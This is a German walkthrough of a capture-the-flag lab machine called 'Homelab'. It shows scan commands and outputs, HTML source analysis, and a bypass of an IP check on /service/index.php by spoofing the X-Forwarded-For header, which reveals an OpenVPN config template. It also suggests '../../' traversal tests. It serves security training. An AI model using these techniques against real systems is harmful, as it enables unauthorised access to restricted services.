Analyse:
Der erste Schritt in unserem Penetrationstest ist die aktive Aufklärung des Zielnetzwerks. Wir beginnen mit dem Tool netdiscover, um aktive Hosts im Subnetz 192.168.2.1/24 zu identifizieren. Das Ziel ist es, die IP-Adresse unserer Zielmaschine, "Homelab", zu finden.
Der Befehl netdiscover -r 192.168.2.1/24 weist netdiscover an, ARP-Requests im angegebenen Netzwerkbereich zu senden.
Currently scanning: Finished! | Screen View: Unique Hosts
11 Captured ARP Req/Rep packets, from 8 hosts. Total size: 660
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.2.191 08:00:27:58:13:e0 1 60 PCS Systemtechnik GmbH
Bewertung:
Die Ausgabe von netdiscover ist erfolgreich. Es wurden 11 ARP-Pakete von 8 Hosts erfasst. Ein Host mit der IP-Adresse 192.168.2.191 und der MAC-Adresse 08:00:27:58:13:e0 wurde identifiziert. Die MAC-Adresse gehört zu "PCS Systemtechnik GmbH", was oft ein Hinweis auf eine virtuelle Maschine von Oracle VirtualBox ist. Diese IP-Adresse ist unser primäres Ziel für die weiteren Scans.
Empfehlung (Pentester):
Die identifizierte IP-Adresse sollte als nächstes mit Port-Scanning-Tools wie nmap untersucht werden, um offene Ports und laufende Dienste zu ermitteln.
Empfehlung (Admin):
Netzwerk-Monitoring-Systeme sollten ungewöhnliche ARP-Scan-Aktivitäten erkennen und alarmieren. Eine Segmentierung des Netzwerks kann die Sichtbarkeit von Hosts für nicht autorisierte Scanner einschränken. Die Verwendung von statischen ARP-Einträgen für kritische Systeme kann ARP-Spoofing-Versuche erschweren, ist aber in dynamischen Umgebungen oft unpraktisch.
Analyse:
Nachdem wir die IP-Adresse des Ziels (192.168.2.191) identifiziert haben, führen wir einen umfassenden Portscan mit nmap durch.
Der Befehl nmap -sS -sC -p- -AO 192.168.2.191 -Pn --min-rate 5000 ist wie folgt aufgebaut:
-sS: Führt einen TCP SYN-Scan (Stealth Scan) durch, der oft weniger auffällig ist als ein voller TCP-Connect-Scan.-sC: Führt Standard-Nmap-Skripte (NSE) aus, um zusätzliche Informationen über die erkannten Dienste zu sammeln.-p-: Scannt alle 65535 TCP-Ports.-AO: Versucht, das Betriebssystem zu identifizieren. (Hinweis: -A ist umfassender und beinhaltet OS-Detektion, Versionserkennung, Skript-Scanning und Traceroute. -O ist nur OS-Detektion. Die Kombination -AO ist unüblich, -A wäre hier gängiger oder -O separat.)-Pn: Überspringt die Host-Discovery-Phase (Ping-Scan) und nimmt an, dass der Host online ist. Dies ist nützlich, wenn Hosts ICMP-Anfragen blockieren.--min-rate 5000: Setzt die minimale Paketrate auf 5000 Pakete pro Sekunde, um den Scan zu beschleunigen.Starting Nmap 7.95 ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2025-05-14 23:38 CEST Nmap scan report for homelab.hmv (192.168.2.191) Host is up (0.00019s latency). Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.62 ((Unix)) |_http-favicon: Apache on Mac OS X |_http-server-header: Apache/2.4.62 (Unix) | http-methods: |_ Potentially risky methods: TRACE |_http-title: Mac OS X Server MAC Address: 08:00:27:58:13:E0 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.19 Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.19 ms homelab.hmv (192.168.2.191) OS and Service detection performed. Please report any incorrect results at [Link: https://nmap.org/submit/ | Ziel: https://nmap.org/submit/]. Nmap done: 1 IP address (1 host up) scanned in 10.46 seconds
Bewertung:
Der nmap-Scan war sehr erfolgreich und liefert wichtige Informationen:
80 (HTTP).Apache httpd 2.4.62 ((Unix)) Webserver.Mac OS X Server) deuten stark darauf hin, dass es sich um einen Mac OS X Server handelt. Dies ist ein wichtiger Hinweis, da ältere Mac OS X Server-Versionen bekannte Schwachstellen haben könnten.TRACE ist aktiviert, was auf eine mögliche Anfälligkeit für Cross-Site Tracing (XST) hindeutet.homelab.hmv wird ebenfalls aufgedeckt.
Empfehlung (Pentester):
Der nächste logische Schritt ist die detaillierte Untersuchung des Webservers auf Port 80. Dazu gehören Directory Brute-Forcing, Schwachstellen-Scans (z.B. mit nikto) und die manuelle Inspektion der Webseite. Der Hostname homelab.hmv sollte der lokalen /etc/hosts Datei hinzugefügt werden, um die Webseite über diesen Namen aufrufen zu können.
Empfehlung (Admin):
Die HTTP-Methode TRACE sollte deaktiviert werden, wenn sie nicht explizit benötigt wird, um XST-Angriffe zu mitigieren. Server-Banner und Titel, die detaillierte Betriebssysteminformationen preisgeben (wie "Mac OS X Server"), sollten minimiert oder verallgemeinert werden, um die Informationsgewinnung für Angreifer zu erschweren. Regelmäßige Überprüfung und Deaktivierung nicht benötigter Dienste und Ports ist essenziell. Die OS-Detektion durch Nmap kann manchmal ungenau sein; hier ist es wichtig, alle Indikatoren zu berücksichtigen.
Analyse:
Um die Ausgabe des vorherigen nmap-Scans zu filtern und nur die offenen Ports anzuzeigen, wird der Befehl mit grep open kombiniert. Dies ist eine schnelle Methode, um die relevantesten Informationen aus einer umfangreichen nmap-Ausgabe zu extrahieren.
Anschließend wird der Hostname homelab.hmv, der im vorherigen Scan entdeckt wurde, zusammen mit der IP-Adresse 192.168.2.191 in die lokale /etc/hosts-Datei eingetragen. Dies ermöglicht es uns, den Webserver über seinen Hostnamen statt nur über die IP-Adresse zu erreichen, was für die weitere Web-Enumeration und das Testen von virtuellen Hosts wichtig sein kann. Der Befehl vi /etc/hosts öffnet die Hosts-Datei im Texteditor vi zur Bearbeitung.
80/tcp open http Apache httpd 2.4.62 ((Unix))
192.168.2.191 homelab.hmv
Bewertung:
Das Filtern der nmap-Ausgabe bestätigt erneut, dass Port 80 (HTTP) der einzige offene TCP-Port ist.
Das Hinzufügen des Eintrags zur /etc/hosts-Datei ist eine bewährte Praxis im Penetrationstesting. Es stellt sicher, dass Anfragen an homelab.hmv korrekt zur IP-Adresse 192.168.2.191 aufgelöst werden, was besonders wichtig ist, wenn Webanwendungen auf Hostnamen-basierte Konfigurationen angewiesen sind.
Empfehlung (Pentester):
Nachdem der Hostname konfiguriert wurde, sollte die Webseite http://homelab.hmv/ im Browser aufgerufen und mit Web-Enumeration-Tools weiter untersucht werden.
Empfehlung (Admin):
Aus Sicht der Systemadministration ist hier keine direkte Aktion erforderlich, da die Änderung der /etc/hosts-Datei auf dem Angreifer-System stattfindet. Es verdeutlicht jedoch, wie Angreifer DNS-Namen nutzen, die möglicherweise nicht öffentlich bekannt sind. Interne DNS-Einträge sollten sorgfältig verwaltet werden.
Analyse:
Wir setzen die Untersuchung des Webservers auf Port 80 fort. Das Tool nikto wird verwendet, um nach bekannten Webserver-Schwachstellen, Fehlkonfigurationen, veralteten Softwareversionen und anderen potenziellen Sicherheitsproblemen zu suchen.
Der Befehl nikto -h http://192.168.2.191 weist nikto an, das Ziel unter der angegebenen IP-Adresse zu scannen. Da wir den Hostnamen bereits in /etc/hosts eingetragen haben, könnten wir hier auch http://homelab.hmv verwenden.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.191 + Target Hostname: 192.168.2.191 + Target Port: 80 + Start Time: 2025-05-14 23:38:43 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.62 (Unix) + /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options] + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] + No CGI Directories found (use '-C all' to force check all possible dirs) + /favicon.ico: identifies this app/server as: Apache on Mac OS X. See: [Link: https://en.wikipedia.org/wiki/Favicon | Ziel: https://en.wikipedia.org/wiki/Favicon] + OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD, TRACE . + /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: [Link: https://owasp.org/www-community/attacks/Cross_Site_Tracing | Ziel: https://owasp.org/www-community/attacks/Cross_Site_Tracing] + /service/: Retrieved x-powered-by header: PHP/8.4.5. + /service/: This might be interesting. + 8101 requests: 0 error(s) and 7 item(s) reported on remote host + End Time: 2025-05-14 23:39:08 (GMT2) (25 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Bewertung:
nikto liefert mehrere interessante Ergebnisse:
Apache/2.4.62 (Unix).X-Frame-Options (Schutz gegen Clickjacking) und X-Content-Type-Options (Schutz gegen MIME-Sniffing-Angriffe) sind nicht gesetzt. Dies sind gängige Findings, die die Sicherheit der Webanwendung potenziell schwächen.favicon.ico identifiziert den Server erneut als "Apache on Mac OS X".TRACE ist aktiv, was die frühere Vermutung einer XST-Anfälligkeit untermauert./service/ wurde gefunden. Dieses Verzeichnis liefert einen X-Powered-By: PHP/8.4.5 Header, was darauf hindeutet, dass hier PHP-Skripte ausgeführt werden. Dies ist ein sehr wichtiger Fund, da PHP-Anwendungen oft Schwachstellen aufweisen können.nikto markiert /service/ als "This might be interesting", was unsere Aufmerksamkeit auf dieses Verzeichnis lenken sollte.Empfehlung (Pentester):
Das Verzeichnis /service/ muss als Nächstes gründlich untersucht werden. Directory Brute-Forcing und das Suchen nach PHP-Dateien in diesem Verzeichnis sind angezeigt. Die fehlenden Sicherheitsheader und die aktive TRACE-Methode sind ebenfalls zu dokumentieren, auch wenn sie möglicherweise nicht direkt für einen initialen Zugriff ausgenutzt werden können.
Empfehlung (Admin):
Die fehlenden HTTP-Sicherheitsheader (X-Frame-Options, X-Content-Type-Options) sollten in der Webserver-Konfiguration (Apache) gesetzt werden, um die Anwendung gegen Clickjacking und MIME-Sniffing-Angriffe zu härten. Die HTTP-Methode TRACE sollte deaktiviert werden. Die Preisgabe der PHP-Version im X-Powered-By-Header sollte ebenfalls unterbunden werden (expose_php = Off in der php.ini), um Angreifern weniger Informationen zu liefern.
Analyse:
Um versteckte Verzeichnisse und Dateien auf dem Webserver zu finden, setzen wir feroxbuster ein. Dieses Tool führt ein Wordlist-basiertes Brute-Forcing von Verzeichnis- und Dateinamen durch.
Der Befehl feroxbuster --url "http://192.168.2.191" --wordlist /usr/share/seclists/Discovery/Web-Content/big.txt -x .git,.php,.html,.xml,.zip,.7z,.tar,.bak,.sql,.py,.pl,.txt,.jpg,.jpeg,.png,.js,.aac,.ogg,.flac,.alac,.wav,.aiff,.dsd,.mp3,.mp4,.mkv,.phtml -s 200 301 302 ist wie folgt konfiguriert:
--url "http://192.168.2.191": Die Ziel-URL.--wordlist /usr/share/seclists/Discovery/Web-Content/big.txt: Verwendet eine umfangreiche Wortliste für das Brute-Forcing.-x ...: Eine lange Liste von Dateiendungen, nach denen zusätzlich gesucht werden soll (z.B. .php, .txt).-s 200 301 302: Meldet nur Ressourcen, die mit den HTTP-Statuscodes 200 (OK), 301 (Moved Permanently) oder 302 (Found/Redirect) antworten.___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.11.0 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://192.168.2.191 🚀 Threads │ 50 📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/big.txt 👌 Status Codes │ [200, 301, 302] 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.11.0 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [git, php, html, xml, zip, 7z, tar, bak, sql, py, pl, txt, jpg, jpeg, png, js, aac, ogg, flac, alac, wav, aiff, dsd, mp3, mp4, mkv, phtml] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 200 GET 75l 215w 2241c http://192.168.2.191/script/serverhome.js 200 GET 13l 37w 2194c http://192.168.2.191/poweredbymacosxserver.gif 200 GET 351l 1040w 98713c http://192.168.2.191/script/compressed_widgets.js 200 GET 192l 384w 3041c http://192.168.2.191/style/iphone.css 200 GET 412l 2178w 136171c http://192.168.2.191/script/compressed_libraries.js 200 GET 5l 27w 226c http://192.168.2.191/style/serverhome_static.css 200 GET 130l 376w 5435c http://192.168.2.191/ 200 GET 12l 63w 3616c http://192.168.2.191/osxserver.gif 200 GET 33l 97w 6762c http://192.168.2.191/grayx.jpg 200 GET 96l 250w 3752c http://192.168.2.191/error.html 200 GET 7l 37w 19156c http://192.168.2.191/favicon.ico 200 GET 130l 376w 5435c http://192.168.2.191/index.html 301 GET 9l 28w 313c http://192.168.2.191/script => http://192.168.2.191/script/ 301 GET 9l 28w 314c http://192.168.2.191/service => http://192.168.2.191/service/ 301 GET 9l 28w 312c http://192.168.2.191/style => http://192.168.2.191/style/ 200 GET 1l 10w 59c http://192.168.2.191/service/index.php 301 GET 9l 28w 316c http://192.168.2.191/style/img => http://192.168.2.191/style/img/ [####################] - 3m 2868208/2868208 0s found:17 errors:0 [####################] - 57s 573412/573412 10003/s http://192.168.2.191/ [####################] - 2m 573412/573412 4730/s http://192.168.2.191/script/ [####################] - 2m 573412/573412 4624/s http://192.168.2.191/service/ [####################] - 2m 573412/573412 4727/s http://192.168.2.191/style/ [####################] - 86s 573412/573412 6660/s http://192.168.2.191/style/img/
Bewertung:
feroxbuster identifiziert mehrere interessante Dateien und Verzeichnisse:
/script/, /style/, poweredbymacosxserver.gif, osxserver.gif, favicon.ico, index.html. Darunter auch mehrere JavaScript-Dateien wie serverhome.js, compressed_widgets.js und compressed_libraries.js. Diese könnten analysiert werden, um die Funktionsweise der Webseite besser zu verstehen.nikto gefundene Verzeichnis /service/ wird bestätigt und darin die Datei /service/index.php. Dies ist ein sehr vielversprechender Fund, da PHP-Dateien oft Einstiegspunkte für Angriffe darstellen.feroxbuster bestätigen und ergänzen die Funde von nikto. Das Verzeichnis /service/ und insbesondere die Datei index.php darin rücken weiter in den Fokus.
Empfehlung (Pentester):
Die Datei http://192.168.2.191/service/index.php sollte umgehend im Browser aufgerufen und ihr Quellcode analysiert werden. Auch die gefundenen JavaScript-Dateien sollten heruntergeladen und auf interessante Endpunkte oder Logik untersucht werden.
Empfehlung (Admin):
Nicht benötigte Dateien und Verzeichnisse sollten vom Webserver entfernt werden, um die Angriffsfläche zu reduzieren. Der Zugriff auf sensible Konfigurationsdateien oder Skripte sollte streng kontrolliert und protokolliert werden. Directory Listing sollte auf dem Webserver deaktiviert sein, um das Entdecken von Dateien zu erschweren (obwohl Tools wie feroxbuster dies ohnehin versuchen).
Analyse:
Wir verwenden curl, um die HTTP-Header der Webseite http://homelab.hmv/ abzurufen.
Der Befehl curl -Iv http://homelab.hmv ist wie folgt aufgebaut:
-I: Sendet eine HEAD-Anfrage, um nur die HTTP-Header abzurufen, nicht den Body der Seite.-v: Aktiviert den "verbose" Modus, der detaillierte Informationen über die Verbindung und die Anfrage/Antwort-Header anzeigt.* Host homelab.hmv:80 was resolved. * IPv6: (none) * IPv4: 192.168.2.191 * Trying 192.168.2.191:80... * Connected to homelab.hmv (192.168.2.191) port 80 * using HTTP/1.x > HEAD / HTTP/1.1 > Host: homelab.hmv > User-Agent: curl/8.13.0 > Accept: */* > * Request completely sent off < HTTP/1.1 200 OK < Date: Wed, 14 May 2025 23:42:40 GMT < Server: Apache/2.4.62 (Unix) < Last-Modified: Tue, 15 Apr 2025 15:22:00 GMT < ETag: "153b-632d2bae4bc2e" < Accept-Ranges: bytes < Content-Length: 5435 < Content-Type: text/html < * Connection #0 to host homelab.hmv left intact
Bewertung:
Die curl-Ausgabe bestätigt die bereits bekannten Informationen:
HTTP/1.1 200 OK, was bedeutet, dass die Ressource erfolgreich abgerufen wurde.Server-Header ist Apache/2.4.62 (Unix).Content-Type ist text/html.Last-Modified) und der ETag sind ebenfalls vorhanden, aber für den initialen Zugriff weniger relevant.Empfehlung (Pentester):
Da die Header-Analyse keine neuen Angriffsvektoren aufzeigt, sollte der Fokus weiterhin auf der Analyse des Inhalts der Webseite und der zuvor identifizierten /service/index.php liegen.
Empfehlung (Admin):
Wie bereits erwähnt, sollten Server-Banner (Server: Apache/2.4.62 (Unix)) minimiert werden, um die Informationsgewinnung für Angreifer zu erschweren. Dies kann durch Konfigurationsänderungen im Apache (z.B. ServerTokens Prod) erreicht werden.
Analyse:
Dieser Abschnitt enthält eine manuelle Analyse des HTML-Quellcodes der Startseite von http://homelab.hmv/. Solche Analysen sind entscheidend, um die Struktur und potenzielle Logik einer Webanwendung zu verstehen. Es werden verschiedene Elemente des HTML-Codes und deren Implikationen betrachtet.
Erste Beobachtungen und Analyse:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" ...>
HTML 4.01 Transitional: Das ist eine ältere HTML-Version. Modernere Seiten nutzen HTML5.
Das deutet schon mal auf ein älteres System hin.
<title>Mac OS X Server</title>
Klarer Hinweis auf das Betriebssystem.
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
ISO-8859-1: Eine ältere Zeichenkodierung. UTF-8 ist heute Standard.
<meta name="viewport" content="width=320; initial-scale=1.0; maximum-scale=1.0; user-scalable=0;" />
Optimiert für ältere mobile Geräte (z.B. frühe iPhones mit 320px Breite).
user-scalable=0: Verhindert das Zoomen auf dem Gerät.
CSS-Dateien:
style/serverhome_static.css
style/iphone.css (bestätigt die mobile Optimierung für ältere iPhones)
<body id="wikid" ...>
Die ID wikid ist interessant. Könnte auf eine zugrundeliegende Wiki-Software oder eine Verbindung zu Wiki-Funktionen hinweisen.
JavaScript-gesteuerte Anzeige von Services:
span id="some-services-enabled" style="display:none"
span id="no-services-enabled" style="display:none"
Diese werden per JavaScript ein- oder ausgeblendet, je nachdem, ob Dienste verfügbar sind.
Services-Liste (<ul class="services" id="services">) - Das ist der Kern!
JavaScript document.getElementById('services').className = 'services loading';: Setzt eine Klasse, vermutlich um einen Ladezustand anzuzeigen,
während die Verfügbarkeit der Dienste geprüft wird (obwohl das in diesem statischen HTML-Ausschnitt erstmal nur eine CSS-Klasse setzt).
Jeder Dienst (<li>) hat:
Einen href zum direkten Aufruf des Dienstes (z.B. /webmail/). Wichtige Endpunkte zum Testen!
Ein name-Attribut, das sehr interessant ist: z.B. name="/collaboration-availability/webmail/". Dies ist kein Standardattribut für <a>-Tags
in dieser Form. Es deutet stark auf einen API-Endpunkt hin, der möglicherweise die Verfügbarkeit dieser Dienste prüft! Diese Pfade sollten
unbedingt getestet werden. Titel, Beschreibung und einen "Log In" / "View All" / "View" Linktext.
Aufgelistete Dienste und ihre Pfade:
Mail: href="/webmail/", name="/collaboration-availability/webmail/"
Calendar: href="/webcal/", name="/collaboration-availability/webcal/"
My Page (Updates): href="/updates/", name="/collaboration-availability/updates/"
Wikis: href="/groups/", name="/collaboration-availability/groups/"
Blogs: href="/users/", name="/collaboration-availability/users/"
Mail Rules: href="/emailrules/", name="/collaboration-availability/emailrules/"
Change Password: href="/changepassword/", name="/collaboration-availability/changepassword/"
Podcast Capture: href="/podcastcapture/", name="/collaboration-availability/podcastcapture/"
Footer:
img src="poweredbymacosxserver.gif": Visuelle Bestätigung.
Copyright © 2009 Apple Inc. All rights reserved.: Das ist ein RIESIGER Hinweis! Das System ist von 2009 oder davor. Das bedeutet, wir
haben es wahrscheinlich mit Mac OS X Server 10.5 (Leopard) oder 10.6 (Snow Leopard) zu tun. Diese Systeme sind steinalt und haben bekannte Schwachstellen!
JavaScript-Dateien am Ende:
script/compressed_libraries.js
script/compressed_widgets.js
script/serverhome.js
Diese Dateien sind GOLDWERT! Sie enthalten die Logik für die Seite, potenziell AJAX-Aufrufe zu den /collaboration-availability/ Endpunkten und könnten weitere
Hinweise auf APIs oder die Funktionsweise der Seite geben. Diese müssen unbedingt heruntergeladen und analysiert werden.
Zusammenfassung der wichtigsten Punkte für die CTF:
Altes System: Mac OS X Server, Copyright 2009 (wahrscheinlich 10.5/10.6). Nach bekannten Exploits für diese Versionen suchen!
Bekannte Dienste: Mail, Kalender, Wikis, Blogs etc. Jeder Dienst könnte eigene Schwachstellen haben.
Enumeration von Endpunkten:
Die direkten href-Pfade (z.B. /webmail/, /webcal/).
Ganz wichtig: Die name-Attribute, die wie API-Pfade aussehen (z.B. /collaboration-availability/webmail/). Diese unbedingt direkt aufrufen und schauen,
was sie zurückgeben (JSON? XML? Fehler?).
JavaScript-Analyse: Die Dateien compressed_libraries.js, compressed_widgets.js und serverhome.js müssen untersucht werden. Sind sie "compressed" oder "minified",
müssen sie ggf. mit einem Beautifier lesbar gemacht werden.
Nächste Schritte für dich:
JS-Dateien herunterladen und analysieren:
curl <URL>/script/compressed_libraries.js
curl <URL>/script/compressed_widgets.js
curl <URL>/script/serverhome.js
Schau dir den Inhalt an. Suche nach AJAX-Aufrufen, Endpunkt-Definitionen, interessanten Funktionen.
Endpunkte testen:
Öffne die href-Pfade im Browser oder mit curl.
Öffne die /collaboration-availability/... Pfade im Browser oder mit curl.
Nach bekannten Schwachstellen suchen: Für "Mac OS X Server 10.5 vulnerabilities" oder "Mac OS X Server 10.6 vulnerabilities" und für die spezifischen Dienste
(z.B. die verwendete Wiki-Software, Webmail-Software etc., falls identifizierbar).
HTTP-Header prüfen: Welche Server-Software und Version wird im Server-Header angezeigt? (z.B. Apache/x.y.z).
Directory Traversal / LFI Tests: Bei den bekannten Pfaden mal ../../ etc. ausprobieren.
Das ist ein sehr guter Startpunkt! Das Copyright-Datum ist schon mal ein Jackpot für potenzielle Schwachstellen. Bin gespannt, was du in den JS-Dateien und bei
den API-Endpunkten findest!
Bewertung: Die manuelle Analyse des HTML-Quellcodes liefert extrem wertvolle Hinweise:
name-Attribute der Service-Links (z.B. /collaboration-availability/webmail/) sind ein Schlüsselfund. Diese sehen nicht nach Standard-HTML aus und deuten auf interne API-Pfade hin, die möglicherweise zur Überprüfung der Dienstverfügbarkeit oder für andere Backend-Operationen verwendet werden.compressed_libraries.js, compressed_widgets.js, serverhome.js) könnten die Logik für die Interaktion mit diesen API-Endpunkten enthalten und weitere Hinweise auf die Funktionsweise des Systems oder versteckte Funktionalitäten liefern.Empfehlung (Pentester): Die "Nächsten Schritte", die im analysierten Text vorgeschlagen werden, sind exakt die richtigen:
/collaboration-availability/... Pfade direkt mit curl oder im Browser aufrufen und die Antworten analysieren (Format, Inhalt, Fehlermeldungen).../../) und Local File Inclusion (LFI) auf alle bekannten Pfade anwenden.Analyse:
Hier wird ein Einzeiler-Befehl verwendet, um schnell eine Liste von Verzeichnispfaden aus den href-Attributen der Startseite zu extrahieren.
Der Befehl curl -s http://homelab.hmv/ | grep -E 'href' | awk {'print $2'} | tr "=" " " | cut -d " " -f2 | tr -d '"' | grep -v apple > ~/dir.txt ist eine Kette von Textmanipulationstools:
curl -s http://homelab.hmv/: Lädt den HTML-Quellcode der Seite herunter (-s für silent/stumm).| grep -E 'href': Filtert Zeilen, die "href" enthalten.| awk {'print $2'}: Gibt das zweite Feld jeder gefilterten Zeile aus (in der Hoffnung, dass es das href="..." Attribut ist). Dies ist eine etwas ungenaue Methode, da die Struktur variieren kann.| tr "=" " ": Ersetzt Gleichheitszeichen durch Leerzeichen.| cut -d " " -f2: Schneidet das zweite Feld heraus, wobei Leerzeichen als Trennzeichen dienen (soll den Wert nach href= extrahieren).| tr -d '"': Entfernt alle Anführungszeichen.| grep -v apple: Entfernt Zeilen, die "apple" enthalten (wahrscheinlich um externe Apple-Links auszuschließen).> ~/dir.txt: Leitet die Ausgabe in die Datei dir.txt im Home-Verzeichnis des Benutzers um./webmail/ /webcal/ /updates/ /groups/ /users/ /emailrules/ /changepassword/ /podcastcapture/
Bewertung:
Der Befehl extrahiert erfolgreich die in der vorherigen HTML-Analyse identifizierten Hauptverzeichnispfade der angebotenen Dienste. Diese Liste ist nützlich als Grundlage für weitere automatisierte Tests oder manuelle Erkundungen. Es ist eine schnelle Methode, um eine Zielliste zu generieren. Allerdings ist die Methode, wie die Pfade extrahiert werden (insbesondere mit awk {'print $2'} und cut), anfällig für Fehler, falls sich die HTML-Struktur ändert. Robustere HTML-Parsing-Tools wären hier zuverlässiger, aber für einen schnellen Überblick ist dieser Ansatz oft ausreichend.
Empfehlung (Pentester):
Die generierte Liste in dir.txt kann als Input für weitere Directory-Brute-Forcing-Tools verwendet werden, um tieferliegende Pfade oder Dateien innerhalb dieser Verzeichnisse zu finden. Jeder dieser Pfade sollte auch manuell im Browser besucht werden, um die Funktionalität zu verstehen.
Empfehlung (Admin):
Dies demonstriert, wie leicht Angreifer die Struktur einer Webseite analysieren können, um potenzielle Angriffsziele zu identifizieren. Eine Reduzierung der öffentlich zugänglichen Informationen und eine robuste Zugriffskontrolle für alle Pfade sind wichtig.
Analyse:
Wir versuchen nun, auf die zuvor identifizierte Datei /service/index.php zuzugreifen. Der direkte Aufruf im Browser (oder mit curl) resultiert in einer Fehlermeldung, die besagt, dass der Dienst nur "für mich selbst" verfügbar ist. Dies deutet auf eine Zugriffsbeschränkung hin, möglicherweise eine IP-basierte Whitelist, die nur Anfragen von localhost (oder der Server-IP selbst) zulässt.
Um diese Beschränkung zu umgehen, versuchen wir, unsere Quell-IP-Adresse zu spoofen, indem wir den HTTP-Header X-Forwarded-For setzen. Webserver verwenden diesen Header oft, um die ursprüngliche Client-IP-Adresse zu ermitteln, wenn Proxys vorgeschaltet sind. Wenn die Anwendung diesen Header ohne ausreichende Validierung auswertet, kann sie getäuscht werden.
Wir setzen X-Forwarded-For: 192.168.2.191, also die IP-Adresse des Servers selbst.
Analyse des Bildes: Der Screenshot (hier repräsentiert durch den Dateinamen ip_forwarding_test_hat_geklappt.jpg) würde den erfolgreichen Zugriff auf http://192.168.2.191/service/index.php nach dem Setzen des X-Forwarded-For-Headers zeigen. Man würde den Inhalt der OpenVPN-Konfigurationsdatei sehen, anstatt der vorherigen Fehlermeldung "Whoa! But sorry, this service is only available for myself!". Dies beweist, dass die IP-Spoofing-Technik funktioniert hat.
http://192.168.2.191/service/index.php
Whoa! But sorry, this service is only available for myself!
http://192.168.2.191/service/index.php (nach IP-Spoofing mit X-Forwarded-For: 192.168.2.191) # Last modified by shinosawa # on 2024-12-21 # Example Configuration File client dev tun proto udp remote ? ? resolv-retry infinite nobind persist-key persist-tun ca ? cert ? # Regenerate a STRONG password for the KEY # Do NOT use a SAME password as other services et. SSH # it is DANGEROUS! key ? cipher AES-256-GCM verb 3
Bewertung:
Der IP-Spoofing-Versuch mittels des X-Forwarded-For-Headers war erfolgreich! Anstatt der Fehlermeldung erhalten wir nun den Inhalt einer OpenVPN-Client-Konfigurationsdatei. Dies ist ein kritischer Fund und ein bedeutender Fortschritt.
Die Konfigurationsdatei (vermutlich client.ovpn oder ähnlich) enthält:
shinosawa (Kommentar "Last modified by shinosawa"). Dies könnte ein gültiger Benutzername sein.client, dev tun, proto udp, etc.).remote ? ?, ca ?, cert ?, key ?. Dies deutet darauf hin, dass die eigentlichen Zertifikate und der Schlüssel separat gespeichert sind und hier nur eine Vorlage angezeigt wird oder die Werte dynamisch geladen werden.AES-256-GCM.Empfehlung (Pentester):
Der nächste Schritt ist, die Verzeichnisse /service/ genauer zu untersuchen, um die tatsächlichen Zertifikatsdateien (CA-Zertifikat, Client-Zertifikat, Client-Schlüssel) zu finden, auf die in dieser Konfigurationsvorlage verwiesen wird. Tools wie dirb oder feroxbuster sollten erneut auf das Verzeichnis /service/ angesetzt werden, speziell auf der Suche nach Dateien mit Endungen wie .crt, .key, .ovpn, .conf, .txt.
Empfehlung (Admin):
Der Zugriff auf die Datei /service/index.php muss korrekt abgesichert werden. Sich allein auf den X-Forwarded-For-Header zu verlassen, ist unsicher. Der Zugriff sollte serverseitig validiert werden (z.B. durch Überprüfung der tatsächlichen Quell-IP-Adresse oder durch Authentifizierung). Sensible Konfigurationsdateien oder Vorlagen sollten niemals direkt über das Web zugänglich sein, schon gar nicht durch Umgehung einfacher IP-Checks. Die Dateiberechtigungen auf dem Server sollten so restriktiv wie möglich sein.
Analyse:
Nach dem erfolgreichen Zugriff auf die OpenVPN-Konfigurationsvorlage durch IP-Spoofing, wird feroxbuster erneut ausgeführt. Diesmal wird der Scan abgebrochen (Caught ctrl+c), aber die bis dahin gefundenen Ergebnisse sind relevant. Es scheint eine Wiederholung des vorherigen feroxbuster-Scans zu sein, aber der Fokus liegt nun auf den Dateien im Kontext des /service/-Verzeichnisses.
